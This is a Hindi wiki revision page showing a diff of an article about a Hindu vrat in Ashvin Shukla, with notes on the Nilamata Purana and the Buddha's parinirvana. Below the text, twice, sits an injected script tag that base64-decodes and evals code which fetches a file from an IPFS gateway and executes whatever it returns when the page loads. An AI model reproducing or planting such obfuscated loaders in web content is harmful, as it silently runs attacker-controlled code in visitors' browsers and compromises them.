व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - ")</ref" to "</ref") |
||
पंक्ति 4: | पंक्ति 4: | ||
*तीन दिनों तक नैवेद्य एवं दान दरिद्र लोगों को दिया जाता है।<ref>नीलपुराण (पृ0 66-67, श्लोक 809-816</ref> | *तीन दिनों तक नैवेद्य एवं दान दरिद्र लोगों को दिया जाता है।<ref>नीलपुराण (पृ0 66-67, श्लोक 809-816</ref> | ||
*यह द्रष्टव्य है कि नीलमत पुराण में [[बुद्ध]] को भी [[कलि युग]] में [[विष्णु]] का अवतार माना गया है। | *यह द्रष्टव्य है कि नीलमत पुराण में [[बुद्ध]] को भी [[कलि युग]] में [[विष्णु]] का अवतार माना गया है। | ||
*सर्वास्तिवादियों के मत से बुद्ध का परिनिर्वाण [[कार्तिक]] में तथा सिंहली परम्परा के अनुसार [[वैशाख]] में हुआ था।<ref> मिलिन्दकाल का बजौर मंजूषा अभिलेख (एपि0 इं0, जिल्द 24 | *सर्वास्तिवादियों के मत से बुद्ध का परिनिर्वाण [[कार्तिक]] में तथा सिंहली परम्परा के अनुसार [[वैशाख]] में हुआ था।<ref> मिलिन्दकाल का बजौर मंजूषा अभिलेख (एपि0 इं0, जिल्द 24</ref> | ||
12:42, 27 जुलाई 2011 के समय का अवतरण
'*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- आश्विन शुक्ल में जब की चन्द्र पुष्य नक्षत्र में हो।
- शाक्य द्वारा कहे गये वचनों के साथ प्रतिमा स्थापन और मन्दिर को स्वच्छ कर के श्वेत रंग से पोत दिया जाता है।
- तीन दिनों तक नैवेद्य एवं दान दरिद्र लोगों को दिया जाता है।[1]
- यह द्रष्टव्य है कि नीलमत पुराण में बुद्ध को भी कलि युग में विष्णु का अवतार माना गया है।
- सर्वास्तिवादियों के मत से बुद्ध का परिनिर्वाण कार्तिक में तथा सिंहली परम्परा के अनुसार वैशाख में हुआ था।[2]
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>